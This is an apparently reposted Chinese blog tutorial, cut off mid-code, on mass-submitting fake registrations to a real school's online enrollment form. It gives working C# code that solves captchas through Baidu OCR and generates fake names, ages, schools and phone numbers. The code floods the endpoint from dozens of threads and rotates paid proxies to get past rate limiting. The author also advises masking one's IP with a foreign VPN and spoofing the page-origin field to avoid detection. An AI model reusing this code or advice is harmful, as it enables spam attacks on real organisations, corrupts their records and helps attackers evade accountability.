热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

班级|正确率_Web安全:数据注入某校“在线报名“大量提交虚假消息验证码识别破解

篇首语:本文由编程笔记#小编为大家整理,主要介绍了Web安全:数据注入某校“在线报名“大量提交虚假消息验证码识别破解相关的知识,希望对你有一定的参考价值。

篇首语:本文由编程笔记#小编为大家整理,主要介绍了Web安全:数据注入某校“在线报名“ 大量提交虚假消息 验证码识别破解相关的知识,希望对你有一定的参考价值。


效果图:




使用环境

系统: Windows10 64位 家庭版
编程语言: C# .Net Framework 4.72
编译器: Visual Studio 2019
打码平台: 百度AI
浏览器: 360浏览器13.1


隐藏身份

记得隐藏好自己的IP地址信息,建议挂一个境外的VPN,或高匿的代理,如果是 小网站 随意 ,尽量不暴露自己的IP地址

一般网站有备案的还是挂一个较好
(申请备案比较麻烦,一般有备案的基本是一个组织)

学校这种肯定是有经过备案的

备了案的网站 最下面一般都会有对应的ICP号

额外知识:
使用中国境内的服务器是必须备案的,不备案域名解析不了,境外的服务器域名不需要备案



难点:
验证码的识别 (好在有百度的AI识别)
正确率在百分之60左右,虽然有点低,但是配合多线程弥补了

POST数据的拼接

需要把中文的信息Url编码…这里浪费了比较多时间,好在经过几个小时,终于完成了


网站分析


这里就是他的PC端 在线报名 页面,是一个表单

先手动提交一组信息抓包

折磨了半个小时 并没有发现有用信息 发现这网站还有一个移动端的页面

把浏览器UA代理,切换至 移动端

浏览器随着重定向到手机端的URL


接口抓取

点击 提交按钮 时 抓到了提交的包

第一个包:提交的表单接口

第二个包:验证码的接口


表单接口分析



请求 URL: http://xxxxxxxxxx/addSubmit?_v=1654613271594
请求方法: POST
状态代码: 200 OK
远程地址: xxxxxxxxx
引用站点策略: unsafe-url


根据经验判断 v=1654613271594 这参数是一个时间戳

转换后 证实 v是一个时间戳参数 2022-06-07 22:47:51 正是提交表单的时间

时间戳概念:
1654613271594 (毫秒)是一串数字,每秒都在增加,用来表示某一个时间,定义为从格林威治(和北京时间一样)时间(1970年,1月,1日,00时,00分,00秒 )到现在的 总秒 或 豪秒 数 到现在已经万亿了 已超过int的数值范围 ,使用他得使用long类型变量,使用他不需要在意地区不同导致时间有偏差(如北京时间和美国时间 不同时间差)

POST参数:
接下来就是解析POST的请求参数了

源数据:

很明显是经过URL编码后的数据

URL编码:
这是浏览器用来打包数据的一种数据格式,在传输过程中需要把其中的中文字符或特殊不安全的(如:’ " 空格 等等 )字符经过编码后进行发送,其中&号为分隔符,url编码就是一个字符ascii码的十六进制然后前面加上%,以键值对的形式出现,只要你在浏览器上肯定是用的到,只所以用户看不到这些经过编码后的字符,是因为现在大多数浏览器都帮我们完成了解码

ASCII码表(部分):
例如将 ! 号进行URL编码,那么编码结果就是 %21 (对应16进制)

小例子:
在网站上,放一个带中文名的图片

通过浏览器访问 网站图片

看似中文的图片,其实是经过URL编码的 只不过是后面浏览器帮助我们解码了
打开 开发者工具

这才是请求的源URL ,把他解码正是这个图片的中文名称

看看浏览器解码后面数据


分析POST参数:



formId: 1 (这里是表单的ID 不变值不需要理会)


vCodeId: 3691 (对应验证码接口的ID)


submitContentList: (提交数据的表弟 是一个JSON格式)
[“id”:0,“type”:0,“val”:“蔡徐坤”,“id”:1,“type”:2,“val”:“女”,“id”:2,“type”:0,“val”:“20”,“id”:4,“type”:0,“val”:“广东省技工学校”,“id”:5,“type”:0,“val”:“85”,“id”:3,“type”:8,“val”:“13333333333”,“id”:6,“type”:8,“val”:“17733333333”]
tmpFileList: []


validateCode: qadq (验证码 对应3691 这个接口)


colId: 158


submitOrigin: “pageUrl”:“http:/xxxxxx.html”,“pageName”:“手机网站-在线报名”
(用户在哪个页面提交的URL 和 网页标题)


phoneValidateCodes: []


其中只有 submitContentList 和 validateCode 是变的,其他值为不变。

成功后的返回值



rt: 0, success: true, msg: “提交表单数据成功”, id: 420
id: 420 msg:
“提交表单数据成功”
rt: 0 success: true




id: 420 msg: 这是一个自增的ID,每次提交成功一次值就会+1,也就是这个表单当前已提交了420次了





验证码接口分析:



请求 URL:
http://xxxxx/validateCode.jsp?185.3168615516483&vCodeId=3691
请求方法: GET 状态代码: 200 OK
远程地址: xxxxxxx
引用站点策略: unsafe-url


vCodeId=3691:这就是验证码ID 上面说到过
是一个GET请求,浏览器直接请求即可

多次访问测试后发现是 URL 并不会随着验证码而重定向到其他的URL 这就很好办




小实验

按理说 只要两个接口 使用同一个 COOKIE就可以实现提交表单了,

原理图:

在浏览器打开 验证码接口 和 提交页面 必须在同一个浏览器上 这样才使用的同一个COOKIE)

然后输入验证码接口的 验证码 不输入提交页面生成的验证码



测试可行 成功了 ,如果换 其中 两个页面换成 两个不同的浏览器 打开就不行 ,因为两个请求是单独的




程序批量提交


为了数据真实一点,需要大量生成 虚假手机号 和 姓名 ,大量提交同一个一模一样的数据,在数据库里 就一行SQL语句就可以筛选出来,达不到效果

生成信息:

公共随机数:

static Random r = new Random();

姓名生成:
这里使用的是,百度把常用的 姓氏 储存到一个数组,然后名储存到一个文本(也来源百度),程序进入的时候读取数组 在 使用随机数 随机组名字

static string[] NmaeHead = "王", "李", "张", "刘", "陈", "杨", "黄", "赵", "吴", "周", "徐", "孙", "马", "朱", "胡", "郭", "何", "林", "高", "罗", "郑", "梁", "谢" ;
static string[] NmaeTail = File.ReadAllLines(@"Name.txt");
static List<string> NameList&#61; new List<string>();
//姓字列表


性别生成&#xff1a;

static char[] Sex &#61;&#39;男&#39;,&#39;女&#39;;

使用时候直接 随机数 随机选择
虽然表单是 单选框 但是可以直接修改 表单内容 比如可以把 男 或 女 改成 雌 &#xff0c;雄&#xff0c; 公 &#xff0c;母 …

年龄生成&#xff1a;

string age &#61; r.Next(13, 23).ToString();//年龄

直接使用随机数 生成13 到 23 之间的数字

就读学校&#xff1a;
当然这个也可以生成 但为了真实 我并没有这样&#xff0c;而是百度了 部分真实的学校&#xff0c;也是直接写到记事本 然后读取他

static string[] SchoolList &#61; File.ReadAllLines(&#64;"SchoolList.txt");
//学校列表

班级生成&#xff1a;
同理 &#xff0c;为了真实

static string[] ClassList &#61; File.ReadAllLines(&#64;"ClassList.txt");
//班级

手机号生成&#xff1a;
手机号开头都是13xxxx&#xff0c;17xxx开头的&#xff0c;如果使用随机数就会出现20xxx&#xff0c;50xxx&#xff0c;这看着就不太真实&#xff0c;需要限制号段

static List<string> PhoneList &#61; new List<string>();//手机号
static string[] PhoneHead &#61; "131","178","158","177","185","132","176","159","133","188","171","135";

总结&#xff1a;

static char[] Sex &#61;&#39;男&#39;,&#39;女&#39;;
static string[] ClassList &#61; File.ReadAllLines(&#64;"ClassList.txt");
//班级
static List<string> PhoneList &#61; new List<string>();//手机号t
static List<string> NameList&#61; new List<string>();
//姓字列表
static string[] SchoolList &#61; File.ReadAllLines(&#64;"SchoolList.txt");
//学校列表
static string[] NmaeHead &#61; "王", "李", "张", "刘", "陈", "杨", "黄", "赵", "吴", "周", "徐", "孙", "马", "朱", "胡", "郭", "何", "林", "高", "罗", "郑", "梁", "谢" ;
static string[] NmaeTail &#61; File.ReadAllLines(&#64;"Name.txt");
//名字
static string[] PhoneHead &#61; "131","178","158","177","185","132","176","159","133","188","171","135";
static Random r &#61; new Random();

使用循环生成数据

Console.WriteLine("开始生成姓名&#xff0c;手机号");
//20000为生成的数量
for (int i &#61; 0; i < 20000; i&#43;&#43;)

PhoneList.Add(PhoneHead[r.Next(0, PhoneHead.Length)] &#43; r.Next(10000000, 99999999));
NameList.Add(NmaeHead[r.Next(0, NmaeHead.Length)] &#43; NmaeTail[r.Next(0, NmaeTail.Length)] &#43; NmaeTail[r.Next(0, NmaeTail.Length)]);
Console.WriteLine(i&#43;" "&#43;PhoneList[i]&#43; NameList[i]);


数据都有了 &#xff0c;上面说到过来&#xff0c;中文需要URL编码&#xff0c;使用他们的时候需要把他们URL编码
这里定义了一个URL编码的方法&#xff0c;提交数据时需要调用他

URL编码&#xff1a;

static string UrlEncode(string str)

byte[] array &#61; Encoding.UTF8.GetBytes(str);
//转成字节数组
StringBuilder Text &#61; new StringBuilder(500);
//因为字符串的不可变性 使用StringBuilder 并且开了500个字符的空间
for (int i &#61; 0; i < array.Length; i&#43;&#43;)

Text.Append("%"&#43;array[i].ToString("X2"));
//转成的编码 添加到Text

//这里是url编码
return Text.ToString();
//返回编码好的字符串


提交方法&#xff1a;

随机从上面的列表抽取手机号 姓名 并编码

提取手机号 姓名

string name &#61; UrlEncode( NameList[r.Next(0, NameList.Count)]);//姓名
string sex &#61; Sex[r.Next(0, Sex.Length)].ToString();//性别
string school &#61; SchoolList[r.Next(0, SchoolList.Length)];//学校
string classname &#61; ClassList[r.Next(0, ClassList.Length)];//班级
string age &#61; r.Next(13, 23).ToString();//年龄
string localPhone &#61; PhoneList[r.Next(0, PhoneList.Count)];
string parentsPhone &#61; PhoneList[r.Next(0, PhoneList.Count)];

这里还需要生成一个 储存验证码的 文件名 因为不可能十几个线程都去读一个验证码

string codeName &#61; r.Next(0, 100000).ToString() &#43; ".jpg"; //验证码图片名字


请求验证码接口&#xff1a;

string userAgent &#61; "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36";
//浏览器代理 如果为空 服务器会拒接 502
COOKIEContainer COOKIE &#61; new COOKIEContainer();
//使用同一个COOKIE 相当于同一个浏览器
HttpWebRequest ImageCode &#61; (HttpWebRequest)WebRequest.Create("http:xxxxx/validateCode.jsp?890.6793103043062&vCodeId&#61;3691");
//验证码接口地址
ImageCode.COOKIEContainer &#61; COOKIE;
//使用 COOKIE 这个"浏览器"
ImageCode.KeepAlive &#61; true;
//状态保持
ImageCode.UserAgent &#61; userAgent;
//设置浏览器代理
ImageCode.AllowAutoRedirect &#61; false;
//禁止重定向URL
ImageCode.ContentType &#61; "application/x-www-form-urlencoded";
//类型
HttpWebResponse ImageRet &#61; (HttpWebResponse)ImageCode.GetResponse();
//接搜返回值
FileStream file &#61; new FileStream(codeName, FileMode.OpenOrCreate);
//定义文件流保存文件
ImageRet.GetResponseStream().CopyTo(file);
//保存文件
file.Close();
//关闭流

验证码打码&#xff1a;
这里使用的是 百度的AI 文字识别 &#xff0c;效果还可以&#xff0c;
原理就是通过请求验证码 把验证码下载下来 然后使用 AI 文字识别 验证码 在把识别的验证码 和表单一起 提交

var API_KEY &#61; "这里需要自己申请";
var SECRET_KEY &#61; "这里需要自己申请";
var client &#61; new Baidu.Aip.Ocr.Ocr(API_KEY, SECRET_KEY);
//文字识别
client.Timeout &#61; 60000; // 修改超时时间
var image &#61; File.ReadAllBytes(codeName);
//把图片转成字节数组
var result &#61; client.GeneralBasic(image);
//上传识别
string str &#61; result.ToString();
//识别成功后的字符串

API_KEY 这些需要自行到 百度AI开发 平台申请 注册即可

然后的是一个JSON格式字符串


"words_result": [

"words": "QN"

],
"words_result_num": 1,
"log_id": 1535879164735694844

其中 words 里的字符串 就是识别的内容

解析JSON:

JObject j &#61; JObject.Parse(str);
JArray r &#61; (JArray)j["words_result"];
//强制转成数组 因为要获取employees

str &#61; r[0]["words"].ToString();
if (str.Length < 4)

Console.WriteLine("识别失败");
continue;

验证码都是四位数 如果小于四位数 那就是识别失败了 直接返回

提交表单

拼接POST参数&#xff1a;

string post_str &#61; "formId&#61;1&vCodeId&#61;3691&submitContentList&#61;[%7B%22id%22:0,%22type%22:0,%22val%22:%22" &#43; name &#43; "%22%7D,%7B%22id%22:1,%22type%22:2,%22val%22:%22" &#43; sex &#43; "%22%7D,%7B%22id%22:2,%22type%22:0,%22val%22:%22" &#43; age &#43; "%22%7D,%7B%22id%22:4,%22type%22:0,%22val%22:%22" &#43; school &#43; "%22%7D,%7B%22id%22:5,%22type%22:0,%22val%22:%22" &#43; classname &#43; "%22%7D,%7B%22id%22:3,%22type%22:8,%22val%22:%22" &#43; localPhone &#43; "%22%7D,%7B%22id%22:6,%22type%22:8,%22val%22:%22" &#43; parentsPhone &#43; "%22%7D]&tmpFileList&#61;[]&validateCode&#61;" &#43; str &#43; "&colId&#61;158&submitOrigin&#61;%7B%22pageUrl%22:%22http%3A%2F%2Fwww.xxxx.com%2Fh-col-171.html%22,%22pageName%22:%22%E6%83%A0%E5%B7%9E%E5%B8%82%E4%BB%B2%E6%81%BA%E6%8A%80%E5%B7%A5%E5%AD%A6%E6%A0%A1%20%7C%20%E5%B9%BF%E4%B8%9C%E7%9C%81%E9%87%8D%E7%82%B9%E6%8A%80%E5%B7%A5%E5%AD%A6%E6%A0%A1%22%7D&phoneValidateCodes&#61;[]";

为了不让接口给发现 这里我把 页面地址 改成了 电脑端的首页

提交表单&#xff1a;

HttpWebRequest Request &#61; (HttpWebRequest)WebRequest.Create("http://m.xxxxx.com/api/guest/form/addSubmit?_v&#61;" &#43; DateTimeOffset.UtcNow.ToUnixTimeMilliseconds().ToString());
//请求表单接口 后面的参数为时间戳
Request.Method &#61; "POST";
//模式为 POST
Request.UserAgent &#61; userAgent;
//设置浏览器UA
Request.COOKIEContainer &#61; COOKIE;
//使用和验证码同一个COOKIE
Request.ContentType &#61; "application/x-www-form-urlencoded";
//类型
byte[] array &#61; Encoding.UTF8.GetBytes(post_str);
//编码号的Post数据 转成字节
Request.ContentLength &#61; array.Length;
Stream WriteRequest &#61; Request.GetRequestStream();
//创建请求流
WriteRequest.Write(array, 0, array.Length);
//把数据 写入到请求流
WriteRequest.Flush();
//写入
WriteRequest.Close();
//关闭流
HttpWebResponse DateRet &#61; (HttpWebResponse)Request.GetResponse();
//接返回的请求
StreamReader Read &#61; new StreamReader(DateRet.GetResponseStream(), Encoding.UTF8);
Console.WriteLine(Thread.CurrentThread.Name&#43;Read.ReadToEnd());
//读取返回内容
ImageRet.Dispose();
DateRet.Dispose();
Read.Dispose();
//释放流

这样就完成了 接下来就是多线程了

多线程

for (int i &#61; 0; i < 50; i&#43;&#43;)

Thread th &#61; new Thread(School);
th.IsBackground &#61; true;
th.Name &#61; i.ToString();
th.Start();
Console.WriteLine(i &#43; " 号线程创建成功");

创建50个线程 执行 方法 &#xff0c;也就是50个人同时一直提交表单



运行时发现&#xff0c;如果同一个IP&#xff0c;短时间请求太多次&#xff0c;服务器会拒接返回403&#xff0c;

经过测试后&#xff0c;线程数量超过9 服务器就会拒接&#xff0c;9个线程一分钟也可以提交100条数据了&#xff0c;
虽然效果也不错&#xff0c;为了让程序更加强大&#xff0c;这里我使用了代理&#xff0c;让多线程更好的使用&#xff0c;

代理&#xff1a;

目前网上也有大量的免费代理 但可用率都特别低 这里我使用付费的(几块钱就可以买上几w个)&#xff0c;

网络代理&#xff1a;
这里我封装成了方法

调用

GetAngent()

储存代理

static List<string> Agent &#61; new List<string>();
//代理列表

生成代理

static void GetAngent()

while(true)

HttpWebRequest Beg &#61; (HttpWebRequest)WebRequest.Create("http://http1.9vps.com/getip.asp?username&#61;xxxx&pwd&#61;xxxxx&geshi&#61;1&feng

推荐阅读
  • 深入探讨Web服务器与动态语言的交互机制:CGI、FastCGI与PHP-FPM
    本文详细解析了Web服务器(如Apache、Nginx等)与动态语言(如PHP)之间通过CGI、FastCGI及PHP-FPM进行交互的具体过程,旨在帮助开发者更好地理解这些技术背后的原理。 ... [详细]
  • electronvue使用electronupdater实现自动更新
    今天呢,给大家带来一篇干货满满的electron-vue自动升级的教程,话不多说,开始我的表演!配置文件package.jsonbu ... [详细]
  • VMware 15.5.7 中文版激活方法
    本文提供了一种有效的方法来激活 VMware 15.5.7 的中文版本,同时介绍了如何利用最新的激活码进行操作,确保用户能够顺利使用。 ... [详细]
  • 使用jQuery与百度地图API实现地址转经纬度功能
    本文详细介绍了如何利用jQuery和百度地图API将地址转换为经纬度,包括申请API密钥、页面构建及核心代码实现。 ... [详细]
  • selenium通过JS语法操作页面元素
    做过web测试的小伙伴们都知道,web元素现在很多是JS写的,那么既然是JS写的,可以通过JS语言去操作页面,来帮助我们操作一些selenium不能覆盖的功能。问题来了我们能否通过 ... [详细]
  • 本文详细介绍了如何通过配置 Chrome 和 VS Code 来实现对 Vue 项目的高效调试。步骤包括启用 Chrome 的远程调试功能、安装 VS Code 插件以及正确配置 launch.json 文件。 ... [详细]
  • 本文主要解决了在编译CM10.2时出现的关于Samsung Exynos 4 HDMI HAL库中SecHdmiV4L2Utils.cpp文件的编译错误。 ... [详细]
  • 本文介绍了多种Eclipse插件,包括XML Schema Infoset Model (XSD)、Graphical Editing Framework (GEF)、Eclipse Modeling Framework (EMF)等,涵盖了从Web开发到图形界面编辑的多个方面。 ... [详细]
  • GCC(GNU Compiler Collection)是GNU项目下的一款功能全面且高效的多平台编译工具,广泛应用于Linux操作系统中。本文将详细介绍GCC的特点及其基本使用方法。 ... [详细]
  • 本文介绍了在解决Hive表中复杂数据结构平铺化问题后,如何通过创建视图来准确计算广告日志的曝光PV,特别是针对用户对应多个标签的情况。同时,详细探讨了UDF的使用方法及其在实际项目中的应用。 ... [详细]
  • 本文详细介绍了如何在本地环境中安装配置Frida及其服务器组件,以及如何通过Frida进行基本的应用程序动态分析,包括获取应用版本和加载的类信息。 ... [详细]
  • 本文将详细介绍如何配置并整合MVP架构、Retrofit网络请求库、Dagger2依赖注入框架以及RxAndroid响应式编程库,构建高效、模块化的Android应用。 ... [详细]
  • 本文探讨了Android系统中联系人数据库的设计,特别是AbstractContactsProvider类的作用与实现。文章提供了对源代码的详细分析,并解释了该类如何支持跨数据库操作及事务处理。源代码可从官方Android网站下载。 ... [详细]
  • 本文探讨了一个Web工程项目的需求,即允许用户随时添加定时任务,并通过Quartz框架实现这些任务的自动化调度。文章将介绍如何设计任务表以存储任务信息和执行周期,以及如何通过一个定期扫描机制自动识别并加载新任务到调度系统中。 ... [详细]
  • 本文介绍如何通过Java代码调用阿里云短信服务API来实现短信验证码的发送功能,包括必要的依赖添加和关键代码示例。 ... [详细]
author-avatar
mobiledu2502868653
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有